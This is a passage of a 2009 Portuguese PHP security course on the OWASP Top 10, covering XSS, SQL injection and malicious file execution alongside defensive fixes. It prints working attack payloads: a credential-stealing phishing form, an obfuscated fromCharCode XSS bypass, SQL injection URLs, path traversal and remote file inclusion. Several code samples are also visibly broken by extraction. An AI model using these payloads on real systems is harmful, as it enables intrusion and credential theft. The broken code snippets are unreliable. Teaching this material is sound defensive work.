Top 10 OWASP com PHP

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:18 Top 10 OWASP com PHP Compreendendo e tratando as 10 vulnerabilidades mais críticas em aplicações web segundo o OWASP. Por Er Galvão Abbott 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 1 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:18 Índice Objetivo..................................................................................................................................4 Aviso.......................................................................................................................................4 Termos de Uso.......................................................................................................................5 Introdução..............................................................................................................................6 O que é o OWASP e por que é importante.......................................................................6 Vulnerabilidades != Ataques..............................................................................................7 Top 10 OWASP – Listando as vulnerabilidades....................................................................7 Trabalhando com o conceito de Dado Contaminado............................................................8 Top 10 OWASP – Detalhamento...........................................................................................9 XSS – Cross Site Scripting................................................................................................9 Reflected........................................................................................................................9 Stored............................................................................................................................9 DOM Injection................................................................................................................9 Consequências Possíveis.............................................................................................9 Exemplo de código vulnerável....................................................................................10 Exemplos de exploração.............................................................................................10 Soluções insuficientes.................................................................................................11 Recomendações..........................................................................................................12 Recomendações específicas para PHP......................................................................12 Recomendações PHP na prática................................................................................13 Falhas de Injeção............................................................................................................14 Consequências Possíveis...........................................................................................14 Exemplo de código vulnerável....................................................................................15 Exemplos de exploração.............................................................................................15 Soluções insuficientes.................................................................................................16 Recomendações..........................................................................................................17 Recomendações específicas para PHP......................................................................17 Recomendações PHP na prática................................................................................18 Execução Maliciosa de Arquivo.......................................................................................22 Consequências possíveis............................................................................................22 Exemplo de código vulnerável....................................................................................23 Exemplos de exploração.............................................................................................23 Soluções insuficientes.................................................................................................24 Recomendações..........................................................................................................25 Recomendações específicas para PHP......................................................................25 Recomendações PHP na prática................................................................................26 Referência Insegura Direta à Objetos.............................................................................27 Exemplo de código vulnerável....................................................................................28 Soluções Insuficientes.................................................................................................29 Recomendações..........................................................................................................29 Recomendações PHP na prática................................................................................29 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 2 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 CSRF – Cross Site Request Forgery..............................................................................31 Consequências possíveis............................................................................................31 Exemplo de código vulnerável....................................................................................32 Soluções insuficientes.................................................................................................32 Recomendações..........................................................................................................32 Recomendações PHP na prática................................................................................33 Vazamento de Informações e Tratamento de Erros Inapropriado..................................34 Consequências possíveis............................................................................................34 Exemplo de código vulnerável....................................................................................35 Exemplos de exploração.............................................................................................35 Soluções insuficientes.................................................................................................35 Recomendações..........................................................................................................36 Recomendações específicas para PHP......................................................................36 Recomendações PHP na prática................................................................................37 Autenticação Falha e Gerenciamento de Sessão...........................................................38 Consequências possíveis............................................................................................38 Exemplo de código vulnerável....................................................................................38 Soluções insuficientes.................................................................................................39 Recomendações..........................................................................................................39 Recomendações PHP na prática................................................................................40 Armazenamento Criptográfico Inseguro..........................................................................41 Consequências possíveis............................................................................................41 Soluções insuficientes.................................................................................................42 Recomendações..........................................................................................................42 Recomendações específicas para PHP......................................................................43 Recomendações PHP na prática................................................................................43 Comunicações Inseguras................................................................................................44 Consequências possíveis............................................................................................44 Recomendações..........................................................................................................44 Falha de Restrição de Acesso à URL.........................................................................45 Consequências possíveis............................................................................................45 Exemplo de código vulnerável....................................................................................45 Soluções insuficientes.................................................................................................46 Recomendações..........................................................................................................46 Recomendações específicas para PHP .....................................................................47 Recomendações na prática.........................................................................................47 Conclusão............................................................................................................................48 Glossário..............................................................................................................................49 Referências..........................................................................................................................52 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 3 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Objetivo Este curso tem por objetivo apresentar as 10 vulnerabilidades mais críticas em aplicações web segundo o OWASP (Open Web Application Security Project), realizando uma explanação sobre a anatomia de cada uma destas e que técnicas podem ser utilizadas para prevenir a sua exploração por usuários mal-intencionados. Serão apresentados, para propósitos puramente acadêmicos, exemplos práticos de cada uma destas vulnerabilidades, de forma que cada aluno(a) compreenda causas e consequências e tenha condições de desenvolver soluções próprias de defesa. Aviso São apresentados, neste material, exemplos práticos de exploração de vulnerabilidades em aplicações web e propostas de soluções para a eliminação destas. Estes exemplos são de propósito exclusivamente didático, não sendo responsabilidade do autor o mau uso do código-fonte aqui apresentado, a garantia de soluções definitivas para os problemas apresentados e/ou qualquer outra consequência da execução/implementação do conteúdo deste material. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 4 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Termos de Uso Este trabalho é licenciado por Er Galvão Abbott sob uma licença Creative Commons Attribution Share-alike. Você é livre para: Compartilhar: Copiar, distribuir e divulgar este material ● Adaptar: Para modificar e adaptar este material ● Sob as seguintes condições: Atribuição: Deve constar, explicitamente, o título e o nome completo do autor deste ● trabalho. Compartilhamento similar: Se você modificar ou utilizar este material como ● referência para um trabalho seu, este deve ser licenciado sob uma licença similar ou compatível com esta. Para qualquer reutilização ou distribuição deste material você deve deixar claro os ● termos de licença deste. Qualquer uma das condições acima pode ser dispensada se você obtiver a permissão explícita do autor. Nada nesta licença prejudica ou restringe os direitos morais do autor. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 5 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Introdução O que é o OWASP e por que é importante O OWASP (Open Web Application Security Project, ou Projeto Aberto para Segurança de Aplicações Web) é uma comunidade aberta no formato Wiki, suportada por uma fundação sem fins lucrativos. Tem como principal objetivo disseminar conhecimento na área de segurança da informação, tendo como foco principal o desenvolvimento de aplicações web. Sendo uma iniciativa que não visa lucro e não é ligada à nenhuma empresa, o OWASP provê informação livre de pressões comerciais e é orientado pelo consenso geral dos profissionais envolvidos e pela execução prática de código-fonte. O projeto provê extensa documentação sobre segurança da informação com uma categorização extensa e de prática pesquisa, incluindo a categorização por linguagem. Além disso, organiza eventos e procura prover soluções de código-fonte para as mais diversas vulnerabilidades que põem em risco as aplicações web nos dias de hoje. Embora seja baseado nos Estados Unidos, o OWASP é uma iniciativa internacional tendo capítulos locais em diversos países do mundo, incluindo o Brasil. Isso significa que a informação disponibilizada pelo projeto pode ser encontrada, através de traduções do material original, nos mais diversos idiomas. A importância do OWASP resume-se à sua própria existência: ao se criar este tipo de iniciativa, que conta com o necessário apoio da massa de profissionais de TI, cria-se um grande repositório que promove não apenas o conhecimento, mas a conscientização para os riscos presentes para as aplicações web e a necessidade de se tomar atitudes à respeito. Além disso o mercado de desenvolvimento tem um crescimento e uma profissionalização naturais decorrentes desta conscientização. É um ciclo benéfico: quanto mais se divulga a importância do projeto mais se promove o amadurecimento das aplicações web, tanto já disponíveis como novas e o mercado ganha a confiança de que tanto precisa. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 6 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Vulnerabilidades != Ataques A distinção é importante: o TOP 10 do OWASP mudou recentemente o foco, concentrando-se apenas em vulnerabilidades. Ataques podem ser efetuados explorando uma vulnerabilidade específica ou não. Um bom exemplo disto é o que chamamos de Phishing: Um ataque de phishing pode ser feito em conjunto com a exploração de uma vulnerabilidade XSS de um site, mas também pode ser feito simplesmente aproveitando- se da ingenuidade de um usuário, ocultando uma URL maliciosa, mas não relacionada ao site original, em um e-mail. Vulnerabilidades, por sua vez, estão presentes ou não, em maior ou menor grau de facilidade de exploração, em um software. Top 10 OWASP – Listando as vulnerabilidades O Top 10 é um dos muitos projetos do OWASP. Procura listar e rankear as dez vulnerabilidades mais críticas em aplicações web, tomando como base a listagem feita pela MITRE, uma corporação que trabalha junto à órgãos federais do governo Norte- Americano. A listagem é atualizada com uma certa periodicidade, sendo que a última atualização (de 2007) será a que utilizaremos neste curso. Esta é o ranking oficial das 10 vulnerabilidades mais críticas em aplicações web, segundo o OWASP. Os itens marcados com um asterisco foram incluídos na atualização de 2007: 1. XSS – Cross Site Scripting 2. Falhas de Injeção 3. Execução Maliciosa de Arquivos* 4. Referência Insegura Direta à Objetos 5. CSRF – Cross Site Request Forgeries* 6. Vazamento de Informações e Tratamento de Erros Inapropriado 7. Autenticação Falha e Gerenciamento de Sessão 8. Armazenamento Criptográfico Inseguro 9. Comunicações Inseguras 10. Falha de Restrição de Acesso à URL 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 7 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Trabalhando com o conceito de Dado Contaminado Este é um conceito de extrema importância ao se trabalhar com segurança de aplicações, e é por isso que daremos uma olhada nele antes de prosseguirmos. O conceito é tão antigo, válido e simples que se aplica à qualquer tipo de aplicação (desktop, cliente-servidor, web, etc...): Dados Contaminados. Trabalhar com este conceito é, na realidade, uma boa prática, um dos (tantos) hábitos que são “saudáveis” ao se desenvolver aplicações. O conceito é basicamente este: Todo o dado recebido por uma aplicação, quando enviado de uma fonte externa (seja essa fonte um usuário ou até mesmo outra aplicação) deve ser tratado como contaminado (ou tainted em inglês) e considerado inutilizável até que sofra um processo de tratamento e validação. Vejamos um exemplo: um formulário codificado em UTF-8 envia diversas informações para nosso script PHP. Vejamos como aplicar o conceito em um campo específico: uma data. Para efeitos de exemplo consideraremos como válida uma data no formato dd/mm/aaaa. <?php function dataOK($pData) { if (preg_match('/^d{2}/d{2}/d{4}$/', $pData)) { return true; } else { return false; } } if (dataOK(utf8_decode($_POST['data_cadastro']))) { $data_cadastro_OK = utf8_decode($_POST['data_cadastro']); } /* Restante do código, aplicando o mesmo conceito de validação em outros campos. */ $sql = “INSERT INTO cadastro (nome, email, data_cadastro) VALUES ('$nome_OK', '$email_OK', '$data_cadastro_OK')”; /* Restante do código */ ?> 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 8 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Top 10 OWASP – Detalhamento XSS – Cross Site Scripting O que é: É a vulnerabilidade mais comum e perniciosa em aplicações web. Ocorre quando uma aplicação recebe dados de um usuário e os retorna para o browser sem validar ou codificar estes dados. Tipos conhecidos: Refletido, Armazenado e Injeção de DOM. Ambientes afetados: Todo e qualquer ambiente web. Detalhamento, Exemplos e Soluções: Reflected O tipo mais simples de ilustrar, quando se trata de vulnerabilidades XSS é o refletido: trata-se simplesmente de receber o input de um usuário e retornar diretamente para o browser. Sua ocorrência é cada vez mais comum devido à popularização do AJAX e dos mashups, tecnologias cujo foco é o retorno rápido de informação. Na realidade pode-se argumentar que todo o XSS é refletido de alguma forma, tornando este tipo uma espécie de base para o entendimento desta vulnerabilidade. Stored O tipo armazenado ocorre quando uma exploração da vulnerabilidade XSS é armazenada em algum meio para que seja recuperada posteriormente, como bases de dados ou arquivos HTML criados dinamicamente, por exemplo. Isto aumenta consideravelmente o prejuízo causado por um ataque pelo simples fato de que o ataque se repetirá automaticamente cada vez que a informação armazenada for recuperada e exibida. DOM Injection O tipo injeção de DOM é perigoso na medida que trabalha manipulando e/ou criando código client-side (normalmente Javascript) na página. Desta forma uma variedade ampla de consequências se torna possível. Consequências Possíveis Defacement ● Injeção de conteúdo inapropriado ● Phishing ● 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 9 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Exemplo de código vulnerável <?php echo $_POST['comentario']; ?> Exemplos de exploração Exemplo #1 – Inserção de conteúdo <img src=”http://www.galvao.eti.br/images/er_galvao_abbott.jpg” /> Exemplo #2 – Phishing <script type=”text/javascript”>window.onload=function() {document.body.innerHTML=”Sua sessão expirou por inatividade. Por favor faça login novamente:<br /><form action='http://www.galvao.eti.br/rouba_dados.php'><input type='text' name='login' size='10' /><br /><input type='password' name='senha' size='10' /><inhput type='submit' value='Entrar' /></form>”;}</ script> Exemplo #3 – Mais Phishing <script type=”text/javascript”>window.onload=function() {document.body.innerHTML=”<iframe src='http://www.galvao.eti.br/index' style='border: 0px; width: 100%; height: 100%; margin: 0px; padding: 0px;'></iframe>”;}</script> Exemplo #4 – Defacement <script type=”text/javascript”>window.onload=function() {for (x = 0; x < document.images.length; x++) { document.images[x].src=”http://www.galvao.eti.br/images/er_galvao_abbott.jpg”; }}</script> 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 10 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Soluções insuficientes Em uma instalação default do interpretador PHP nenhum dos exemplos acima funcionará, devido à uma configuração da linguagem chamada magic_quotes_gpc, que faz o escape automático de aspas, tanto simples quanto duplas. Esta configuração é uma solução insuficiente, porque se baseia no conceito de black list. Sabendo-se que o tratamento é feito em cima de caracteres específicos, tudo o que temos que fazer é nos adaptarmos. Como nossa intenção ao explorar essa vulnerabilidade é afetar o lado cliente, precisamos encontrar uma solução cliente que nos permita realizar o ataque. Vejamos uma variação do Exemplo #3 que passa tranquilamente pela magic_quotes_gpc: <script>window.onload=function() { eval(String.fromCharCode(100) + String.fromCharCode(111) + String.fromCharCode(99) + String.fromCharCode(117) + String.fromCharCode(109) + String.fromCharCode(101) + String.fromCharCode(110) + String.fromCharCode(116) + String.fromCharCode(46) + String.fromCharCode(98) + String.fromCharCode(111) + String.fromCharCode(100) + String.fromCharCode(121) + String.fromCharCode(46) + String.fromCharCode(105) + String.fromCharCode(110) + String.fromCharCode(110) + String.fromCharCode(101) + String.fromCharCode(114) + String.fromCharCode(72) + String.fromCharCode(84) + String.fromCharCode(77) + String.fromCharCode(76) + String.fromCharCode(32) + String.fromCharCode(61) + String.fromCharCode(32) + String.fromCharCode(34) + String.fromCharCode(60) + String.fromCharCode(105) + String.fromCharCode(102) + String.fromCharCode(114) + String.fromCharCode(97) + String.fromCharCode(109) + String.fromCharCode(101) + String.fromCharCode(32) + String.fromCharCode(115) + String.fromCharCode(114) + String.fromCharCode(99) + String.fromCharCode(61) + String.fromCharCode(39) + String.fromCharCode(104) + String.fromCharCode(116) + String.fromCharCode(116) + String.fromCharCode(112) + String.fromCharCode(58) + String.fromCharCode(47) + String.fromCharCode(47) + String.fromCharCode(119) + String.fromCharCode(119) + String.fromCharCode(119) + String.fromCharCode(46) + String.fromCharCode(103) + String.fromCharCode(97) + String.fromCharCode(108) + String.fromCharCode(118) + String.fromCharCode(97) + String.fromCharCode(111) + String.fromCharCode(46) + String.fromCharCode(101) + String.fromCharCode(116) + String.fromCharCode(105) + String.fromCharCode(46) + String.fromCharCode(98) + String.fromCharCode(114) + String.fromCharCode(47) + String.fromCharCode(39) + String.fromCharCode(32) + String.fromCharCode(47) + String.fromCharCode(62) + String.fromCharCode(34) + String.fromCharCode(59)); } </script> Através de uma combinação de uma função eval e um método de geração de caracteres (fromCharCode) e o mais importante, sem usar uma única aspa, o ataque se torna bem-sucedido. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 11 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Recomendações As soluções recomendadas pelo OWASP e pelos profissionais de segurança é, similar ao magic_quotes_gpc, a filtragem dos dados, porém com uma diferença crucial: a validação é feita através de white list, ou seja, apenas considerando-se caracteres válidos. Estas são as recomendações: Validação de entrada de dados (input): Valide todos os dados que entrarem para ● sua aplicação, considerando não apenas o seu valor, mas comprimento do dado, tipo e regras de negócio. Não esqueça que mensagens de erro também podem conter caracteres inválidos. Codificando a saída de dados (output): Trate as entidades HTML apropriadamente ● e aplique isso à todos os dados que são alimentados pelo(s) usuário(s). Acostume- se à definir o encoding de suas páginas, de forma à evitar que diferentes encodings sejam utilizados para forçar sua aplicação à aceitar caracteres inválidos. Valide sempre por white lists: Como vimos no exemplo anterior o tratamento de ● caracteres “inválidos” - como ocorre com a magic_quotes_gpc – é completamente ineficiente, sendo relativamente simples de se construir maneiras de atravessar este tipo de proteção. Cuidado com erros de canonicalização: Entradas de dados devem ser ● decodificadas e canonicalizadas antes da validação. Certifique-se de que sua aplicação não decodifique a mesma entrada de dados mais de uma vez. Recomendações específicas para PHP Garanta a passagem dos dados pela função htmlentities ou use a Biblioteca Anti- ● XSS do OWASP. Desabilite a configuração register_globals, caso esteja ativada. ● 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 12 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Recomendações PHP na prática <?php echo htmlentities($_POST['comentario'], ENT_QUOTES, 'UTF-8', true); ?> Observe que utilizamos a função htmlentities no lugar da função htmlspecialchars propositalmente. Isto é feito porque a primeira converte todos os caracteres possíveis para suas entidades HTML, enquanto que a segunda converte apenas alguns caracteres, tornando-se nada mais nada menos do que uma solução do tipo black list. Em alguns casos é desejável permitir tags HTML. Quando algum destes casos ocorrer ao invés de procurarmos por tags indesejáveis (solução black list) devemos verificar apenas pelas tags que consideraremos válidas (solução white list): <!DOCTYPE html PUBLIC quot;-//W3C//DTD XHTML 1.0 Transitional//ENquot; quot;http://www.w3.org/TR/xhtml1/ DTD/xhtml1-transitional.dtdquot;> <html xmlns=quot;http://www.w3.org/1999/xhtmlquot;> <head> <meta http-equiv=quot;Content-Typequot; content=quot;text/html; charset=UTF-8quot; /> <title>Insert title here</title> </head> <body> <img src=quot;http://www.galvao.eti.br/images/logoG.jpgquot; /> <?php $tags_validas = array('font', 'b', 'i', 'u'); foreach ($tags_validas as &$tv) { $tv = '<' . $tv . '>'; } $comentario = htmlentities($_POST['comentario'], ENT_QUOTES, 'UTF-8', true); if (preg_match('/<[a-z]+>/mi', $comentario, $results)) { foreach ($results as $r) { if (!in_array($r, $tags_validas)) { die('Tag inválida encontrada: ' . $r); } } } echo html_entity_decode($comentario, ENT_QUOTES, 'UTF-8'); ?> </body> </html> 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 13 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Falhas de Injeção O que são: Falhas de injeção, particularmente SQL Injection, são extremamente comuns em aplicações web. Elas ocorrem quando um dado enviado pelo usuário “engana” o interpretador da linguagem, fazendo com que este execute comandos indesejáveis. Tipos conhecidos: SQL, LDAP, XPath, XSLT, HTML, XML, Comandos de SOs, etc... Ambientes afetados: Todo e qualquer ambiente web. Detalhamento, Exemplos e Soluções: Todas as falhas de injeção, independente de tipo, acontecem basicamente por uma falta de validação e tratamento de dados de entrada (input) por parte do desenvolvedor. O tipo de vulnerabilidade, neste caso, irá variar diretamente de acordo com o tipo de ações que o sistema executa, ao contrário das vulnerabilidades XSS. Por exemplo, uma aplicação que não faz consulta à nenhum RDBMS, não será vulnerável à Falhas de Injeção de SQL. Trataremos, neste material, da falha de injeção mais comum: SQL Injection. Consequências Possíveis Corrupção de dados ● Exposição de dados ● Inserção de registros maliciosos ● DoS (Denial of Service) ● Exposição de credenciais de acesso ● 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 14 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Exemplo de código vulnerável <?php require('config/config.php'); $conn = mysql_connect(SERVIDOR, USUARIO, SENHA); mysql_select_db(DB); $sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ' . $_GET['cat'] . ' LIMIT 10'; $resultado = mysql_query($sql); while ($registro = mysql_fetch_assoc($resultado)) { echo $registro['foto'] . ' ' . $registro['produto'] . '<br />'; echo $registro['categoria'] . '<br />'; echo $registro['descricao']; echo '<br /><br />'; } mysql_close(); ?> Neste exemplo, de listagem de produtos à partir de uma consulta à base de dados, este script seria tipicamente acessado por uma URL, como no exemplo abaixo: http://www.galvao.eti.br/lista_produtos.php?cat=1 Todavia, ao se permitir a entrada de informações que influenciarão a consulta sem o devido cuidado de tratá-las antes de enviá-las ao RDBMS, permitimos a injeção de caracteres que são sintaticamente interpretados pelo RDBMS: Exemplos de exploração Exemplo #1 – Listando todos os produtos http://www.galvao.eti.br/lista_produtos.php?cat=1 or 1=1 Exemplo #2 – Listando todos os produtos (mesmo!) http://www.galvao.eti.br/lista_produtos.php?cat=1 or 1=1-- 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 15 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Exemplo #3 – Provocando erros na execução da consulta http://www.galvao.eti.br/lista_produtos.php?cat=1 or erro!;#$ Exemplo #4 – Investigando nomes de tabelas http://www.galvao.eti.br/lista_produtos.php?cat=1 and (select count(*) from usuarios) > 0 Exemplo #5 – Investigando colunas e dados em tabelas diferentes http://www.galvao.eti.br/lista_produtos.php?cat=1 and (select count(*) from usuarios where id_usuario = 10) > 0 Soluções insuficientes Um dos erros clássicos no tratamento de vulnerabilidades de injeção de SQL é a precupação exclusiva com alguns caracteres (como a aspa simples, por exemplo). Esta abordagem é equivalente, e consequentemente de fácil contorno, à qualquer solução black list. Observe que em nenhum dos exemplos acima utilizamos a aspa simples, mas mesmo assim fomos capazes de executar explorações das mais perigosas. É por razões como essa que a solução abaixo é ineficiente: <?php /* Este código é idêntico ao exemplo anterior com exceção da linha: */ $resultado = mysql_query(addslashes($sql)); ?> A função addslashes, de forma similar à configuração magic_quotes_gpc, trabalha com o conceito de black list e pior ainda, de forma limitada, como ocorre com a função htmlspecialchars. Outro equívoco comum é procurar tratar este tipo de vulnerabilidade refinando-se a consulta (o caso específico do LIMIT). Pela simples adição de dois hífens (que significam “comentário” para a maioria dos RDBMSs) forçamos a aplicação à simplesmente ignorar o limite pré-definido ou qualquer outro refinamento, como é demonstrado no Exemplo #2. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 16 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Recomendações Por se tratar de um caso de certa forma similar às vulnerabilidades de XSS – onde um dos pontos mais relevantes é a filtragem de dados – as recomendações para diminuir os riscos de vulnerabilidades de injeção possuem alguns pontos em comum: Validação de entrada de dados (input): Valide todos os dados que entrarem para ● sua aplicação, considerando não apenas o seu valor, mas comprimento do dado, tipo e regras de negócio. Não esqueça que mensagens de erro também podem conter caracteres inválidos. Queries tipadas e parametrizadas: Utilize APIs que permitam o uso de queries ● parametrizadas e com tipagem forte, com marcadores de substituição. Menos privilégios de acesso: Crie um usuário com permissões específicas para ● aplicações que utilizem um RDBMS ou alguma outra forma de backend. Evite utilizar um usuário com privilégios administrativos para uso na aplicação. Menos informação: Evite mensagens de erro detalhadas, que forneçam muitos ● detalhes à um atacante. Use stored procedures: Por possuírem uma forte tipagem – tanto para parâmetros ● como para retorno de valores – além de serem mais versáteis em termos de código, as stored procedures são geralmente consideradas menos vulneráveis à ataques de injeção. Não execute queries dinâmicas diretamente: funções que executam queries ● diretamente, como mysql_query ou pg_query, são normalmente mais vulneráveis. Não use funções simples de escape: Funções como addslashes ou str_replace ● provêem uma solução insuficiente para este tipo de vulnerabilidade. Cuidado com erros de canonicalização: Entradas de dados devem ser ● decodificadas e canonicalizadas antes da validação. Certifique-se de que sua aplicação não decodifique a mesma entrada de dados mais de uma vez. Recomendações específicas para PHP Utilize a função addcslashes no lugar da addslashes: embora seja uma solução do ● tipo black list, a função addcslashes permite ao programador identificar quais caracteres devem ser escapados, dando maior liberdade ao programador. Utilize APIs que possibilitem o uso de queries parametrizadas: PDO, ADODB, etc... ● No ambiente de produção, ajuste as configurações display_errors para Off, ● log_errors para On e defina o caminho do arquivo de log na configuração error_log. Caso não seja possível consulte seu provedor. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 17 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Recomendações PHP na prática <?php require('config/config.php'); $conn = mysql_connect(SERVIDOR, USUARIO, SENHA); mysql_select_db(DB); // Tratando alguns caracteres sintáticos em SQL: $entradaFiltrada = addcslashes($_GET['cat'], ''-*|/'); $sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ' . $entradaFiltrada . ' LIMIT 10'; $resultado = mysql_query($sql); while ($registro = mysql_fetch_assoc($resultado)) { echo $registro['foto'] . ' ' . $registro['produto'] . '<br />'; echo $registro['categoria'] . '<br />'; echo $registro['descricao']; echo '<br /><br />'; } mysql_close(); ?> A solução acima, embora baseada em black list, é muito superior ao uso da função addslashes: Desta vez estamos tratando diversos caracteres, como o hífen, impedindo diversas das explorações que demonstramos anteriormente. Uma das dificuldades ao se reforçar uma aplicação contra vulnerabilidades de injeção é que nem sempre é simples implementarmos uma abordagem de white list. Em nosso exemplo específico, entretanto, isso é relativamente simples, já que um id de categoria necessita ser, explicitamente, numérico. Veja o exemplo na próxima página. 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 18 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 <?php require('config/config.php'); if (preg_match('/[^0-9]+/', $_GET['id'])) { die('Dado inválido!'); } else { $conn = mysql_connect(SERVIDOR, USUARIO, SENHA); mysql_select_db(DB); $sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ' . $_GET['id'] . ' LIMIT 10'; $resultado = mysql_query($sql); while ($registro = mysql_fetch_assoc($resultado)) { echo $registro['foto'] . ' ' . $registro['produto'] . '<br />'; echo $registro['categoria'] . '<br />'; echo $registro['descricao']; echo '<br /><br />'; } mysql_close(); } ?> 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 19 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 <?php // Utilizando ADODB e queries parametrizadas. // Além disso “implementamos” a tipagem de dados na ADODB require_once '../libs/adodb5/adodb.inc.php'; $conn = &ADONewConnection('mysql'); $conn->debug = true; $conn->Connect(SERVIDOR, USUARIO, SENHA, DB); $sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ' . $conn- >Param('id') . ' LIMIT 1'; $resultado = $conn->Execute($sql, array('id' => (int)$_GET['id'])); while (!$resultado->EOF) { echo $resultado->fields('foto') . ' ' . $resultado->fields('produto') . '<br />'; echo $resultado->fields('categoria') . '<br />'; echo $resultado->fields('descricao'); echo '<br /><br />'; $resultado->MoveNext(); } $conn->Close(); ?> 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 20 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 <?php // Utilizando PDO $dsn = 'mysql:dbname=foo;host=127.0.0.1'; $user = 'usuario'; $password = 'senha'; try { $conn = new PDO($dsn, $user, $password); } catch (PDOException $e) { die('Falha na conexão.'); } $sql = $conn->prepare('SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ? LIMIT 1'); $sql->bindParam(1, $_GET['id'], PDO::PARAM_INT); $sql->execute(); while ($resultado = $sql->fetch(PDO::FETCH_ASSOC)) { echo $resultado['foto'] . ' ' . $resultado['produto'] . '<br />'; echo $resultado['categoria'] . '<br />'; echo $resultado['descricao']; echo '<br /><br />'; } ?> 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 21 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Execução Maliciosa de Arquivo O que é: É uma vulnerabilidade comum que ocorre principalmente quando o desenvolvedor confia em uma entrada de dados para concatená-la para utilização em funções de arquivo ou de stream. Ocorre também na utilização de arquivos enviados por uma fonte externa, sem que haja a validação apropriada. Tipos conhecidos: - Ambientes afetados: Qualquer ambiente web que aceite que o usuário entre dados para utilização em nomes de arquivo ou que aceite upload de arquivos. A linguagem PHP é particularmente vulnerável devido à possibilidade de utilizar arquivos remotos e ao suporte à SMB (compartilhamento de arquivos, impressoras e portas seriais via rede). Detalhamento, Exemplos e Soluções: Este tipo de vulnerabilidade ocorre, basicamente, pela falta de uma validação e tratamento apropriado da informação em dois casos: 1. Quando dados enviados pelo usuário são utilizados diretamente por funções de tratamento de arquivo ou streams. 2. Quando existe a possibilidade de upload de arquivo por parte do usuário. Consequências possíveis Execução de código remoto ● Instalação de rootkits ● Acesso inapropriado à arquivos ● Comprometimento total do sistema ● 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 22 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19 Exemplo de código vulnerável <?php $arq = fopen($_GET['arq'], 'r'); while ($linha = fgets($arq)) { echo $linha . quot;<br />quot;; } fclose($arq); ?> Exemplos de exploração Exemplo #1 – Acesso inapropriado à arquivos http://www.galvao.eti.br/usa_arquivo.php?arq=../../../../etc/php5/apache2/php.ini Exemplo #2 – Execução remota de arquivo http://www.galvao.eti.br/usa_arquivo.php?arq=http://www.foo.bar.com.br/arquivo.php 2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 23 / 52

